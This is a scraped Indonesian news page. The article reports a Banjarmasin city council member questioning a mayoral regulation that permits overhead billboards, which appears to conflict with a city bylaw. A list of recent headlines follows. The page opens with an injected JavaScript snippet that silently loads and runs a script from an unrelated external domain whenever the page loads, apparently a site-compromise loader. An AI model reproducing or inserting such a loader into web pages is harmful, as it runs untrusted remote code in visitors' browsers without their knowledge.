(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Polemik Reklame Bando, DPRD Banjarmasin Pertanyakan Perda dan Perwali yang Bertentangan


KANALKALIMANTAN.COM, BANJARMASIN – Polemik penertiban reklame bando oleh Satpol PP Kota Banjarmasin beberapa waktu lalu, juga mendapatkan sorotan DPRD Kota Banjarmasin. Terutama dari Komisi III yang membidangi infrastruktur.

Kepada awak media pada Rabu (1/7/2020) siang, Ketua Komisi III M. Isnaini mengatakan, berdasarkan Permen PU Nomor 20 Tahun 2010 memang melarang keberadaan reklame bando. Begitu pula di Perda Nomor 16 Tahun 2014 yang juga melarang adanya reklame bando.

“Cuma yang menjadi heran, bahwa di Perwali Nomor 23 Tahun 2016 pasal 7 huruf c justru memperbolehkan tentang keberadaan bando yang berada di jalan,” kata Isnaini.

Sehingga, kata politisi dari Fraksi Gerindra ini, harus ada duduk bersama terkait keberadaan reklame bando itu. Karena di Perwali yang seharusnya menjelaskan secara rinci isi Perda, justru memperbolehkan adanya bando reklame, atau adanya pertentangan. “Sifat dari dua (payung hukum) ini saya kira harus diselesaikan,” tegas Isnaini.

Isnaini pun mengatakan, ia akan melakukan rapat lintas komisi di DPRD Kota Banjarmasin. Untuk segera memanggil Pemko Banjarmasin, guna mencari solusi terkait polemik reklame bando ini. Karena diakui Isnaini, Banjarmasin sebagai kota perdagangan dan jasa, sangat bergantung dengan pendapatan asli daerah (PAD). Yang salah satunya berasal dari pajak reklame bando.

“Di sisi lain, masyarakat lokal yang berusaha juga harus ada kepastian. Inilah hal yang akan kita coba sinergikan,” lugas Isnaini.

Sehingga, Isnaini pun menyoroti mengapa di Perwali justru memperbolehkan keberadaan reklame bando di atas jalan raya.  Sekali lagi Isnaini mempertanyakan, hal yang menjadi dasar wali kota untuk membuat satu aturan yang memperbolehkan keberadaan reklame bando di atas jalan raya.

“Inilah yang harus kita cari bahwa kalau memang melanggar Perda tentunya Perwali harus bisa bertanggungjawab terhadap hal tersebut,” pungkas Isnaini. (Kanalkalimantan.com/fikri)

 

Reporter : fikri
Editor : cell

 


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.